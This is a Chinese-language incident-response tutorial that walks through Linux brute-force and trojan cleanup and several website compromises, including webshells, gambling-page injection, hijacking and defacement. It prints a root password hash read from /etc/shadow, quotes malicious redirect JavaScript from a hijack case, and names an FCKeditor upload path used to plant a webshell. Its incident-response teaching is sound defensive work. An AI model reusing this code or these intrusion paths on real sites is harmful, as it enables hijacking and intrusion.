1、除root之外,是否还有其它特权用户(uid 为0) [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd root 2、可以远程登录的账号信息 [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow root:$6$38cKfZDjsTiUe58V$FP.UHWMObqeUQS1Z2KRj/4EEcOPi.6d1XmKHgK3j3GY9EGvwwBei7nU bbqJC./qK12HN8jFuXOfEYIKLID6hq0::0:99999:7:::
可以确认目前系统只有一个管理用户root。
/var/log/auth.log,这个日志文件记录了验证和授权方面的信息,只要涉及账号和密码的程序都会进行记录。
2、确认攻击情况
1、统计了下日志,发现大约有126254次登录失败的记录,确认服务器遭受暴力破解 [root@localhost ~]# grep -o "Failed password" /var/log/auth.log|uniq -c 340 Failed password 2、输出登录爆破的第一行和最后一行,确认爆破时间范围: [root@localhost ~]# grep "Failed password" /var/log/auth.log|head -1 Apr 17 02:49:50 iZf4lv0p98ie33Z sshd[2254791]: Failed password for invalid user suprodip from 81.200.212.13 port 53142 ssh2 [root@localhost ~]# grep "Failed password" /var/log/auth.log|tail -1 Apr 20 07:58:27 iZf4lv0p98ie33Z sshd[2309531]: Failed password for invalid user dspace from 92.255.85.135 port 58190 ssh2 3、进一步定位有哪些IP在爆破? [root@localhost ~]# grep "Failed password" /var/log/auth.log|grep -E -o "(25[0- 5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0- 5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c | sort -nr 173 31.184.198.71 12 31.184.198.71 7 147.182.139.154 6 103.47.50.211 ... ... 4、爆破用户名字典都有哪些? [root@localhost ~]# grep "Failed password" /var/log/auth.log|perl -e 'while($_= <>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr 135 invalid user 111111 18 invalid user 123 15 invalid user 12 invalid user 123 11 root 3 root ... ...
DDOS病毒
现象描述:某服务器网络资源异常,感染该木马病毒的服务器会占用网络带宽,甚至影响网络业务正常应用。
系统分析:针对日志服务器病毒事件进行排查,在开机启动项/etc/rc.d/rc.local发现可疑的sh.sh脚本,进一步跟踪sh.sh脚本,这是一个检测病毒存活的脚本。
在root目录下发现存活检测脚本
解决步骤
1、结束进程ps aux | grep "conf.m" | grep -v grep | awk ‘{print $2}‘| xargs kill -9 2、清除自动启动脚本vim /etc/rc.local 去掉 sh /etc/chongfu.sh & 3、清除 脚本 rm -rf /etc/chongfu.sh /tem/chongfu.sh 4、修改登录密码 passwd 5、重启,reboot
Web 实战
主要内容:
- 网站被植入 webshell
- 批量挂黑页
- 新闻源网站劫持
- 搜索引擎劫持
- 网站首页被篡改
- 管理员账号被篡改
- 编辑器入侵事件
- 应急响应报告模板
网站被植入Webshell
使用环境:Windows Server 2008 + phpstudy + DVWA
网站被植入Webshell,意味着网站存在可利用的高危漏洞,攻击者通过利用漏洞入侵网站,写入Webshell接管网站的控制权。为了得到权限 ,常规的手段如:前后台任意文件上传,远程命令执行,Sql注入写入文件等。
网站管理员在站点目录下发现存在webshell,于是开始了对入侵过程展开了分析。发现被web目录被植入了Webshell:
Webshell查杀工具
- D盾_Web查杀 http://www.d99net.net/index.asp
- 河马 https://www.shellpub.com
- 等
使用方法
wget http://down.shellpub.com/hm/latest/hm-linux-amd64.tgz tar xvf hm-linux-amd64.tgz hm scan /www
事件分析,通过发现的webshell文件创建时间点,去翻看相关日期的访问日志。
Web日志分析
经过日志分析,在文件创建的时间节点发现可疑的上传接口:cat /var/log/apache2/access.log
漏洞复现:访问文件上传接口
成功上传Webshell
漏洞修复:清除webshell并对上传接口进行代码修复。
批量挂黑页
作为一个网站管理员,你采用开源CMS做网站,比如dedecms,但是有一天,你忽然发现不知何时,网站的友情链接模块被挂大量垃圾链接,网站出现了很多不该有的目录,里面全是博彩相关的网页。而且,攻击者在挂黑页以后,会在一些小论坛注册马甲将你的网站黑页链接发到论坛,引爬虫收录。在搜索引擎搜索网站地址时,收录了一些会出现一些博彩页面,严重影响了网站形象。
原因分析:
网站存在高危漏洞,常见于一些存在安全漏洞的开源CMS,利用0day批量拿站上传黑页。
某网站被挂了非常多博彩链接,链接形式如下:
http://www.xxx.com/upload/aomendduchangzaixiandobo/index.html http://www.xxx.com/upload/aomendduchangzaixian/index.html http://www.xxx.com/upload/aomenzhengguidubowangzhan/index.html
链接可以访问,直接访问物理路径也可以看到文件,但是打开网站目录并没有发现这些文件,这些文件到底藏在了哪?
访问这些链接,跳转到如图页面:
问题处理:
1、打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。
2、再次查看,可以看到半透明的文件夹,清楚隐藏文件夹及所有页面
3、然后清除IIS临时压缩文件
C:\inetpub\temp\IIS Temporary Compressed Files\WEBUI$^_gzip_D^\WEB\WEBUI\UPLOAD
4、删除相关的网页收录,减少对网站的影响。
新闻源网站劫持
新闻源网站一般权重较高,收录快,能够被搜索引擎优先收录,是黑灰产推广引流的必争之地,很容易成为被攻击的对象。被黑以后主要挂的不良信息内容主要是博彩六合彩等赌博类内容,新闻源网站程序无论是自主开发的还是开源程序,都有被黑的可能,开源程序更容易被黑。
现象描述:
某新闻源网站首页广告链接被劫持到博彩网站
有三个广告专题,链接形式如下:
http://www.xxx.cn/zhuanti/yyysc/index.shtml http://www.xxx.cn/zhuanti/wwwsc/index.shtml http://www.xxx.cn/zhuanti/zzzsc/index.shtml
点击这三条链接会跳转到博彩网站。简单抓包分析一下过程:
可以发现此时这个返回页面已被劫持,并且加载了第三方js文件,http://xn--dpqw2zokj.com/N/js/dt.js ,进一步访问该文件:
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?5fa93dff27c1ac39be066ba260b14556"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); document.writeln("<script language=\"javascript\" src=\"http://xn-- dpqw2zokj.com/N/js/yz.js\"><\/script>");
dt.js进一步加载了另一条js,访问http://xn--dpqw2zokj.com/N/js/yz.js
window.location="https://lemcoo.com/?dt";
我们发现链接跳转到https://lemcoo.com/?dt ,进一步访问这个链接,网站为博彩链接导航网站,访问后会随机跳转到第三方赌博网站。
问题处理:
找到url对应的文件位置,删除。
找到url对应的文件位置,即使文件被删除,链接依然可以访问,可以发现三条链接都是以“sc”后缀。
对Nginx配置文件进行排查,发现Nginx配置文件VirtualHost.conf被篡改,通过反向代理匹配以“sc”后缀的专题链接,劫持到http://103.233.248.163 ,该网站为博彩链接导航网站。
删除恶意代理后,专题链接访问恢复。
搜索引擎劫持
当你直接打开网址访问网站,是正常的,可是当你在搜索引擎结果页中打开网站时,会跳转到一些其他网站,比如博彩,虚假广告,淘宝搜索页面等。是的,你可能了遇到搜索引擎劫持。
从搜索引擎来的流量自动跳转到指定的网页
通过对index.php文件进行代码分析,发现该文件代码 对来自搜狗和好搜的访问进行流量劫持。
进一步跟踪include函数包含的文件,index.php包含/tmp/.ICE-unix/.. /c.jpg。
进入/tmp目录进行查看,发现该目录下,如c.jpg等文件,包含着一套博彩劫持的程序。
网站首页被篡改
网站首页被非法篡改,当你一打开网站就知道自己的网站出现了安全问题,网站程序存在严重的安全漏洞,攻击者通过上传脚本木马,从而对网站内容进行篡改。而这种篡改事件在某些场景下的影响,会被无限放大。
现象描述:网站首页被恶意篡改,比如复制原来的图片,PS一下,然后替换上去。
问题处理:
确认篡改时间:通过对被篡改的图片进行查看,确认图片篡改时间为2018年04月18日 19:24:07 。
访问日志溯源:通过图片修改的时间节点,发现可疑IP:113.xx.xx.24 (代理IP,无法追溯真实来源),访问image.jsp(脚本木马),并随后访问了被篡改的图片地址。
进一步审查所有的日志文件(日志保存时间从2017-04-20至2018-04-19),发现一共只有两次访问image.jsp文件的记录,分别是2018-04-18和2017-09-21。
image.jsp在2017-09-21之前就已经上传到网站服务器,已经潜藏长达半年多甚至更久的时间。
事件分析:
发现站点目录下存在ROOT.rar全站源码备份文件,备份时间为2017-02-28 10:35
通过对ROOT.rar解压缩,发现源码中存在的脚本木马与网站访问日志的可疑文件名一致(image.jsp)
根据这几个时间节点,我们尝试去还原攻击者的攻击路径,但是我们在访问日志并未找到ROOT.rar的访问下载记录,访问日志只保留了近一年的记录,而这个Webshell可能已经存在了多年。
黑客是如何获取Webshell的呢?
可能是通过下载ROOT.rar全站源码备份文件获取到其中存在的木马信息,或者几年前入侵并潜藏了多年,又或者是从地下黑产购买了shell,我们不得而知。该示例中攻击者为我们留下了大量的证据和记录,而更多时候,攻击者可能会清除所有的关键信息,这势必会加大调查人员的取证难度。
管理员账号被篡改
使用环境:Windows Server 2008 + phpstudy + DVWA
场景:管理员账号admin无法登录,进入数据库查看,原来管理员账号用户名不存在了,却多了另外一个管理员用户名,管理员账号被篡改了。
管理员密码原本为admin/password
某天管理员发现该账号已经无法登录
日志分析:
查看数据库访问日志,发现攻击者ip存在暴力破解行为
cat /var/lib/mysql/a21ec98a8b54.log
发现在2022年4月28日,攻击者成功连接到mysql
登录数据库查询发现在对应时间段密码被修改为hacker。
应急措施
1、封禁IP地址
2、修改管理员表密码字段为强口令
3、修改mysql密码为强口令
4、限制mysql外连
编辑器入侵事件
使用环境:Windows Servers 2008 + IIS + FCKeditor
现象描述:防护设备发出预警:发现后门(Webshell)文件,建议立即进行处理。
备注:紧急处理,通过禁止动态脚本在上传目录的运行权限,使Webshell无法成功执行。
定位上传时间:根据Webshell文件创建时间,2022年4月28日 15:18:07
Web访问日志分析
由于,IIS日志时间与系统时间相差8小时,系统时间是15:08,我们这里查看的是 6:59的日志时间。
C:\inetpub\logs\LogFiles\W3SVC2\u_ex220428.log
找到对应的网站访问日志,在这段时间里我们发现攻击者访问了fck的文件上传地址
http://192.168.85.150:81/FCKeditor/editor/filemanager/browser/default/connectors/test.html
漏洞复现
此处上传asp木马不成功
在test.html接口成功上传Webshell
http://192.168.85.150:81/FCKeditor/editor/filemanager/browser/default/connectors/test.html
还原攻击者行为: 通过相关文件的访问记录进行关联分析,攻击者通过 fckeditor编辑器的测试页面成功上传Webshell。
事件处理:
1、删除Webshell:清除已发现的webshell,并尝试查找可能隐藏的webshell。
2、代码完整性验证:我们来思考一个问题,如果有一个免杀的Webshell隐藏在数以万行的代码中,如
何进行应急?– 文件完整性校验,检查网站的源码是否被篡改过。
操作过程:通过查看服务器上已部署的源代码版本,找研发同事要同样版本的代码。把纯净源码的所有文件计算一次hash值保存,再到服务器上执行一次hash值,通过比对hash值,输出新创建的/被修改过的/删除的文件列表。
3、系统入侵排查:对系统做一个整体排查,确认是否存在后门
4、代码修复:反馈给相关开发人员进行代码修复。
撰写应急响应报告
前面我们学习了应急响应技术和实战案例,运用到实际工作中时,需要按照流程执行。应急响应常见的6
个阶段:
1、准备阶段 Preparation 2、检测阶段 Detection 3、抑制阶段 Control 4、根除阶段 Eradicate 5、恢复阶段 Recovery 6、总结阶段 Follow
在总结阶段,安全工程师需要针对突发事件撰写应急响应报告。通常会有如下两类场景:
1、企业具备配套的应急响应管理制度和安全措施
按照企业已有的方法模板撰写应急响应报告,报告内容要遵循应急响应PDCERF流程。
2、企业不具备配套的应急响应管理制度和安全措施
这类场景也是实际工作中比较多见的场景,企业不具备配套管理制度,面对突发事件时,缺乏指导能力。此时在撰写应急响应报告时,报告应包含下述内容:
基本信息:应急时间、应急人员、应急事件类型&级别等客观信息,根据实际进行填写 事件背景:事件发生时间、事件现象 处理过程:检测、抑制、根除、恢复阶段的具体工作 (1)检测:根据事件现象去到现有安全设备中进行告警排查,或者使用工具进行查看分析 (2)抑制:采取临时防护手段进行业务恢复,降低影响范围 (3)根除:定位到攻击原因后,采用隔离、删除、重置等手段清除恶意程序、阻断攻击来源 (4)恢复:手工验证确保业务恢复正常 事件结论:经排查后得出的事件原因、处置结果 安全建议:根据事件原因给出防护建议,避免同类事件再次发生 相关附件:病毒样本、异常流量、恶意程序等材料